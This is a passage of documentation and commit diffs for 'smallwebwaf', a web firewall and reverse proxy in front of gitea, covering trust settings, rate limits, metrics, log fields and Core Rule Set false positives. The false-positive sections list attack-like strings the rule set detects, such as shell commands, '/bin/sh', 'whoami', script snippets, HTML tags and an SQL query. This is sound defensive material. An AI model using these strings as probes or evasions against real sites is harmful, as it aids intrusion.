there that asks for the site reaches traefik from its own address. An
automation fleet in such a container skips the checks.
- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address
on it. Requests docker passes on from a published port can come from the
gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has
IPv6, so a visitor over IPv6 reaches traefik from its own address, and
`servewaf` checks it as itself.
- A container on the shared network that asks for the site at the host's public
address arrives from the gateway. It is checked like any visitor.
- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
Without that, it is counted like any client.
- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
so: otherwise a visitor could name an address on the shared network, and skip
the checks.
- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
Put only containers you trust on it.
## gitea's settings
- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2`
and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip`
header, which traefik sets and `rproxy` passes on. Without it, gitea logs
every visitor as `rproxy`.
- `INSTALL_LOCK` is `true`, as "The setup" above says.
## Methods
`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
- LFS: `GET`, `POST` and `PUT`;
- the container registry and the other package registries: `GET`, `HEAD`,
`POST`, `PUT`, `PATCH` and `DELETE`;
- Actions runners: `POST`.
## The log
`rproxy` and `servewaf` write each query string to the log whole. A token sent
in the query string, as `?token=`, is then in the log. Send it in the
`Authorization` header instead.
## Actions runners
A runner on the shared network skips the checks. One on another host is counted
like any client. A runner older than version 0.4 (April 2026) asks for work
every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the
job's log and state every second instead, two requests a second.
So one idle runner makes 1,800 requests an hour, more than the hour limit of
1,500. A busy one, at two requests a second, passes the minute limit of 120
within two minutes. Its address is then banned, its running jobs fail, and each
repeat within a day makes the ban longer. Newer runners ask for work less often.
Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
## What the Core Rule Set refuses in `block` mode
These notes record what the Core Rule Set does in front of gitea in `block`
mode, at the other defaults. They are observations, not requirements.
`script/gitea-requests` runs gitea behind `rproxy` and `servewaf` at the
defaults. It sends through them a sample of gitea's ordinary use and the
requests named below. It reports each request the Core Rule Set refuses, so that
these notes can be checked again when gitea or the Core Rule Set changes
version. In `detect` mode, as the setup runs it, the same requests are logged
with their rule ids, and pass.
Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
toward). The request log names the rule in `waf_rule_ids`, which
`SWWAF_WAF_DISABLED_RULES` can switch off.
### What it lets through
The Core Rule Set lets gitea's ordinary use through, apart from the refusals in
the sections after this one:
- browsing and views of files in a repository, with their history, blame and the
file tree;
- diffs, including their hidden lines and large files, and pull request review;
- git's clone, fetch and push over HTTP;
- signing in, including the return to the page a visitor came from, and sign-in
with Git Credential Manager, git-credential-oauth or tea;
- the API's calls for a file and its commits;
- pushing and pulling container images and packages;
- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
- posting issues, pull requests, comments, wiki pages and files saved in the web
editor, code included, since no body is read;
- the page gitea shows after a change, with its message naming what was done.
### A query string that reads as an attack
Most often this is a search. A search term is a query parameter, which the Core
Rule Set checks against its lists of system files and commands (see the fourth
change under "Attack detection" in `SPEC.md`). A release attachment uploaded
through the API as `docker-compose.yml` is refused the same way. Examples:
- a name on those lists, such as `package.json`, `.gitignore` or
`docker-compose.yml`;
- text that starts with a command name, such as `python3` or `ssh key`, or has
one right after a `/` in its first word, such as `feat/docker-support`;
- a shell command with its options or a system path (`ls -la`, `sed -i`,
`/bin/sh`), or a command in backticks;
- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
statement (`SELECT * FROM users WHERE`);
- a URL naming an IP address or `localhost`.
### A branch, tag or file name that starts with a command name
The Core Rule Set's list of commands (932260) holds names such as `docker-`,
`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
tag or file name that starts with one is refused. So is one that has such a name
right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
query parameter that 930120, 932160 and 932260 still check:
- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
it asks for its entries' last commits in a second request. It does so whenever
gitea takes more than a second to work them out;
- `name`, when a branch is deleted or restored on the branches page;
- `tag`, when a release is started from a tag;
- `template`, the file of an issue template, when an issue is opened from it;
- `rule_name`, when a branch protection rule is opened for editing in the
repository's settings or has just been saved.
What a visitor sees, for a branch named `docker-build`:
- A directory listing that makes that second request leaves those last commits
out and shows an error.
- The branches page shows an error instead of deleting or restoring the branch.
- A release started from such a tag gets the `403` answer of `smallwebwaf` in
place of its form. So does an issue opened from such a template, and such a
rule opened for editing.
- Saving such a rule stores it. gitea then returns to the branch settings page,
which gets the `403` answer, so the save looks as if it failed.
### A file name in a query parameter that trips the code rules
The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
look for in some file names. This holds too in the ten query parameters that
930120, 932160 and 932260 do not check (see the fourth change under "Attack
detection" in `SPEC.md`). Examples:
- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
(944110);
- a Java class, as in `java.lang.String.md` (944130);
- `document.write.js` (941180);
- `process.env.d.ts` (934100);
- `__proto__` (934130);
- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
For such a file, these requests are refused:
- the API's list of its commits (`path`);
- the API's call for the contents of files that names it in its query (`body`);
- the commit graph of that file alone (`file`);
- the hidden lines of its diff (`path`), which stay hidden;
- the sign-in page, for a visitor who opens a page of the file that needs
signing in, such as its edit page (`redirect_to`). The visitor can still sign
in by opening the sign-in page itself.
### A path
- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
- A path that holds what the Core Rule Set takes for a Java class (944130), as
`java.lang.String.md` and
`META-INF/services/org.apache.commons.logging.LogFactory` do.
- A path that holds what it takes for Node.js code (934100), as
`process.env.d.ts` does.
- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
For such a file, these are refused:
- the page of the file;
- its raw file;
- its history and its blame;
- its edit page.
The directory that holds it lists it, and a clone carries it.
### A container image push that reuses a layer
A push can reuse a layer of an image docker has pushed to that gitea before.
docker then asks gitea to take the layer from that image, naming it in the query
parameter `from`, which 932260 checks. The request is refused when the image's
owner starts with an entry on the list of commands. It is refused too when the
image's name after the owner starts with one. Examples are `owner/python3-app`,
`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
What happens next depends on docker's image store. A docker that keeps its
images in containerd's image store fails the push, and fails each new try the
same way. A new install of Docker Engine 29 does this. A docker that keeps them
in its own older image store uploads the layer instead. The push then succeeds
after one refusal for each layer it reuses, and each of those refusals counts
toward the error burst ("Attack detection" in `SPEC.md`).
### Artifact uploads from `actions/upload-artifact@v3`
This action sends the header `Content-Range`, which the Core Rule Set refuses
(920450). The action sends two files at a time, does not retry a `403`, and
sends no further file once one is refused. So an upload is refused once or
twice, however many files it holds, and the step fails. One upload does not ban
the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
than 30 such refusals from its address in a minute, as when many jobs upload at
once. `actions/upload-artifact@v4` does not send the header.
### What body inspection refuses
With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
front of gitea it then refuses these, until their rule ids, named in the request
log, are added to `SWWAF_WAF_DISABLED_RULES`:
- issue and comment text, wiki pages and files saved in the web editor that hold
shell commands or code (932125, 932235, 932250 and others);
- package descriptions that show code;
- PyPI uploads (922130);
- attachments named like `debug.log` or `config.yml` (932180).
### What `script/gitea-requests` sends
Of the requests above, the script sends:
- for each file named under "A file name in a query parameter that trips the
code rules", the API's list of its commits;
- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
its diff, and the API's call for the contents of files that names it;
- the sign-in page for a visitor who opens the edit page of `document.write.js`;
- the pages of `java.lang.String.md`,
`META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
and `.../notes.txt`;
- one container image push that reuses a layer, which it does not try again.
It does not send the raw file, history, blame or edit page of those four files,
or the pages of the directories `META-INF/services` and `...`. It also sends a
short sample of gitea's ordinary use:
- signing in;
- pages of files and commits, and a diff;
- the API;
- a push, and clone and fetch over HTTP;
- two container image pushes.
+11 -11
View File
@@ -1,9 +1,9 @@
# What the image holds # What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`. runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it [`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
is pinned that way. way.
## Contents ## Contents
@@ -15,13 +15,13 @@ is pinned that way.
Unpacked, nixpkgs takes about 500 MiB. Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit` - `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash. at a fixed commit hash.
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532). - The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/smallwebwaf`, with the `run` script - The service directory `/etc/service/sww`, with the `run` script
`share/smallwebwaf.run`. `share/sww.run`.
- `/var/lib/smallwebwaf` for `servewaf`'s state files, and - `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
`/etc/smallwebwaf/rules.d` with the default rule file default rule file `share/rules.d/00-default.rules`. The `run` script makes
`share/rules.d/00-default.rules`. `SWW_WAF_STATE_DIR` when it is missing.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`. - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
## Pins ## Pins
@@ -33,4 +33,4 @@ is pinned that way.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit - `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the (`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes. build writes.
- The Go image that builds `smallwebwaf`: by digest. - The Go image that builds `sww`: by digest.
+47 -51
View File
@@ -1,89 +1,85 @@
# The metrics # The metrics
What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address. What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
keeps the `instance` label as `exported_instance` unless the scrape sets the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
## Traffic ## Traffic
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and - `sww_requests_total`, `sww_request_bytes_total` and
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by `sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
`action`; - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
- `smallwebwaf_request_duration_seconds` and histograms;
`smallwebwaf_upstream_duration_seconds`, as histograms; - `sww_requests_in_flight`: the questions and requests to its own endpoints that
- `smallwebwaf_requests_in_flight`: the questions and requests to its own `waf` is handling.
endpoints that `servewaf` is handling.
## Limits and bans ## Limits and bans
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`, - `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
`bytes` or `refusals`); `refusals`);
- `smallwebwaf_offences_total`, by `kind`; - `sww_offences_total`, by `kind`;
- `smallwebwaf_bans_made_total`, by `cause`; - `sww_bans_made_total`, by `cause`;
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`. - `sww_active_bans` and `sww_permanent_bans`.
## Attack detection ## Attack detection
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and - `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
`smallwebwaf_rules_loaded`; - `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
fired. fired.
## Countries and AS numbers ## Countries and AS numbers
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`: For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
as `other`:
- `smallwebwaf_country_requests_total`, - `sww_country_requests_total`, `sww_country_request_bytes_total`,
`smallwebwaf_country_request_bytes_total`, `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
`smallwebwaf_country_response_bytes_total` and `country`;
`smallwebwaf_country_list_refusals_total`, by `country`; - `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and `sww_asn_response_bytes_total`, by `asn`.
`smallwebwaf_asn_response_bytes_total`, by `asn`.
## Lookups ## Lookups
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`; - `sww_geojs_requests_total` and `sww_geojs_failures_total`;
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and - `sww_requests_without_geojs_answer_total`: the requests that needed an answer
went on without it; and went on without it;
- with the file source, - with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and `sww_lookup_database_read_failures_total`.
`smallwebwaf_lookup_database_read_failures_total`.
## Reputation sources ## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`: By `source`: each list's URL, each zone, and `abuseipdb`:
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total` - `sww_reputation_hits_total`, `sww_reputation_queries_total` and
and `smallwebwaf_reputation_failures_total`; `sww_reputation_failures_total`;
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list; - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB. - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
## State files ## State and cache files
By `file`: By `file`, the name of a state or cache file:
- `smallwebwaf_state_file_writes_total`, - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`smallwebwaf_state_file_write_failures_total`, `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
`smallwebwaf_state_file_last_write_timestamp_seconds` and - `sww_state_file_edits_taken_in_total` and
`smallwebwaf_state_file_size_bytes`; `sww_state_file_edits_set_aside_total`;
- `smallwebwaf_state_file_edits_taken_in_total` and - `sww_tracked_clients`: the clients in the table.
`smallwebwaf_state_file_edits_set_aside_total`;
- `smallwebwaf_tracked_clients`: the clients in the table.
## Remote log, alerts and the process ## Remote log, alerts and the process
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`, - while a syslog server is set, `sww_remote_log_lines_sent_total`,
`smallwebwaf_remote_log_lines_dropped_total` and `sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
`smallwebwaf_remote_log_buffer_depth`; - by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
- by `destination`, `smallwebwaf_alerts_sent_total`, `sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
`smallwebwaf_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics. - Go's own `go_` metrics and the process's `process_` metrics.
## When a request is counted ## When a request is counted
`servewaf` counts a denied request at its decision, and a request to its own `waf` counts a denied request at its decision, and a request to its own
endpoints when it is answered. It counts an allowed request when its report endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted: comes, with the status, bytes and times the report gives. These are not counted:
+110 -65
View File
@@ -1,32 +1,32 @@
# The request log's fields # The request log's fields
The fields of the JSON objects `rproxy` and `servewaf` write about each request. The fields of the JSON objects `rproxy` and `waf` write about each request.
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
written and how the log is sent to a syslog server. A field that does not apply written and how the log is sent to a syslog server. A field that does not apply
to a request is left out. to a request is left out.
## `servewaf`'s lines ## `waf`'s lines
`smallwebwaf servewaf` writes two lines for each question it answers, joined by `sww waf` writes two lines for each question it answers, joined by `request_id`.
`request_id`. The field `servewaf_line` says which of the two a line is: The field `waf_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question; - `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything - `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended. known. The repetition is intended.
A request to its own endpoints writes one line, without `servewaf_line`. A A request to its own endpoints writes one line, without `waf_line`. A report
report writes no line but the `report` line of the request it names. writes no line but the `report` line of the request it names.
These questions write no line: These questions write no line:
- a question refused with `400` (see "The question" under "`servewaf`" in - a question refused with `400` (see "The question" under "`waf`" in
[`SPEC.md`](../SPEC.md)); [`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer. - a question whose body stopped arriving, which gets no answer.
A `report` line: A `report` line:
``` ```
{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104} {"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
``` ```
### Every line ### Every line
@@ -37,14 +37,13 @@ Every one of these lines has:
- the standard web log fields; - the standard web log fields;
- `request_id`, `peer_ip` and `client_group`; - `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`; - `asn`, `as_name` and `country`;
- `action` and `duration_total`. - `action` and `duration_total_ms`.
### Standard web log fields ### Standard web log fields
- `time`: when `servewaf` had read the question's body, RFC 3339 with - `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
milliseconds, in UTC. The `report` line gives the same time as the `decision` in UTC. The `report` line gives the same time as the `decision` line.
line. - `instance`: `SWW_WAF_INSTANCE_NAME`.
- `instance`: `SWWAF_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out. - `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request. - `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of - `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -52,8 +51,8 @@ Every one of these lines has:
- `host`: the site the visitor asked for. - `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`. - `protocol`: the question's own, `HTTP/1.1`.
- `status`: - `status`:
- on the `decision` line, what `servewaf` answered: `200` for `allow`, the - on the `decision` line, what `waf` answered: `200` for `allow`, the status
status of `deny`, or `0` for `close`, as the visitor is then sent nothing; of `deny`, or `0` for `close`, as the visitor is then sent nothing;
- on the `report` line, what the visitor got, `0` if nothing. - on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`: - `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set - on the `decision` line, how much of the question's body the Core Rule Set
@@ -61,7 +60,7 @@ Every one of these lines has:
- on the `report` line, the bytes of the visitor's body that `rproxy` read, - on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor. with what a WebSocket carried from the visitor.
- `response_bytes`: - `response_bytes`:
- on the `decision` line, the body of `servewaf`'s answer; - on the `decision` line, the body of `waf`'s answer;
- on the `report` line, the bytes of the answer's body, with what a - on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app. WebSocket carried from the app.
- `referer` and `user_agent`. - `referer` and `user_agent`.
@@ -78,66 +77,111 @@ Every one of these lines has:
- lookups are off; - lookups are off;
- the client is not looked up; - the client is not looked up;
- the source cannot place the client; - the source cannot place the client;
- GeoJS had not answered by the time `servewaf` answered. - GeoJS had not answered by the time `waf` answered.
- `content_type`: the visitor's `Content-Type`. - `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced. - `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name - `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
in lower case. name in lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers. - `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged. Their values are never logged.
### Response detail ### Response detail
- `response_content_type`: the type of `servewaf`'s own answer. - `response_content_type`: the type of `waf`'s own answer.
- `aborted`: true when `rproxy` went away before the answer. - `aborted`: true when `rproxy` went away before the answer.
### Decision ### Decision
- `action`: what was done: - `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app; - `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with - `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
the action `deny`; with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
CrowdSec decision, each of which bans the client; rule, a trap path or a CrowdSec decision that made such a ban;
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`: - `permanently_banned`: refused under a ban that never runs out, including a
refused by that check; ban this request made or made permanent;
- `too_large`: over a header limit; - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
- `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a `blocked_by_core_rule_set`: refused by that check;
path under `/_smallwebwaf/`. - `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
path under `/_sww/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a - `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally request it would have refused. `action` then names what was done, normally
`forward`. `forward`.
- `limit_percent` and `limit_percent_setting`: the client's percentage of the - `heuristic`: the heuristic that refused the request, in `observe` mode too. It
rate limits and the setting that lowered it, when one did. `bytes_percent` and is left out when none did.
`bytes_percent_setting` do the same for the byte limits. - `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above.
`byte_limits` bans when the report comes, so only the `report` line names
it.
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
of the rate limits and the setting that lowered it, when one did.
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
byte limits.
- `counts`: the client's totals as rate limiting counts them, this request - `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It included. It is left out when rate limiting did not count the request. It
holds: holds:
- `minute`, `hour` and `day`: requests; - `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes. - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNTED` names, in that window.
A count can have a fraction (see "Counting method" in A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
its report comes. So on the `decision` line, the bytes are without this response are added when its report comes. So on the `decision` line, the
request's. three byte totals leave them out.
- `limit_hit`: the limit broken: - `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit; - `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `error_burst`. - `minute_refusals` for the refusal limit
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
A request whose bytes broke a limit was passed on whole, so its `action` When the bytes counted for a request and its response break a limit, the
stays `forward`. Only its `report` line gives that limit. request has been passed on whole, so its `action` stays `forward`. Only its
`report` line gives that limit.
- `rule_ids`: the rule file rules that matched, in order, up to the one that - `rule_ids`: the rule file rules that matched, in order, up to the one that
refused. refused.
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that - `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
matched, for a request it inspected. and the rules that matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order: - `reputation`: the sources the client is on, in this order:
- blocklist URLs; - blocklist URLs;
- the CrowdSec decision list's URL; - the CrowdSec decision list's URL;
- DNS blocklist zones; - DNS blocklist zones;
- `abuseipdb`. - `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and
the process log says why;
- `no_route`: routewatch knows no live route for the address.
- `offence`: `limit`, for a request that broke a limit. - `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was - `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`. refused under one: a time, or `permanent`.
@@ -146,19 +190,19 @@ Every one of these lines has:
All in milliseconds: All in milliseconds:
- `duration_total`: - `duration_total_ms`:
- on the `decision` line, from `servewaf` having read the question's body to - on the `decision` line, from `waf` having read the question's body to the
the line; line;
- on the `report` line, from `rproxy` having read the request's headers to - on the `report` line, from `rproxy` having read the request's headers to
the end of the answer. the end of the answer.
- `duration_checks`: to the end of the checks; - `duration_checks_ms`: to the end of the checks;
- `duration_waf`: the part of that the Core Rule Set took; - `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
- `duration_upstream_total`: on the `report` line of an allowed request, from - `duration_upstream_total_ms`: on the `report` line of an allowed request, from
the hand-over to the app to the end of the answer. the hand-over to the app to the end of the answer.
### Requests to its own endpoints ### Requests to its own endpoints
The line of a request to `servewaf`'s own endpoints has these fields, with these The line of a request to `waf`'s own endpoints has these fields, with these
meanings where they differ: meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer. - `client_ip` and `peer_ip`: the request's TCP peer.
@@ -166,13 +210,13 @@ meanings where they differ:
- `scheme`: `http`. - `scheme`: `http`.
- `time`: when the request's headers had been read. - `time`: when the request's headers had been read.
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`. - `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
- `action`: `admin`. - `action`: `own_endpoint`.
- `duration_total`: from the request's headers being read to the line. - `duration_total_ms`: from the request's headers being read to the line.
## `rproxy`'s line ## `rproxy`'s line
`smallwebwaf rproxy` writes one short line for each request. `request_id` joins `sww rproxy` writes one short line for each request. `request_id` joins it to
it to `servewaf`'s two. It has these fields and no others: `waf`'s two. It has these fields and no others:
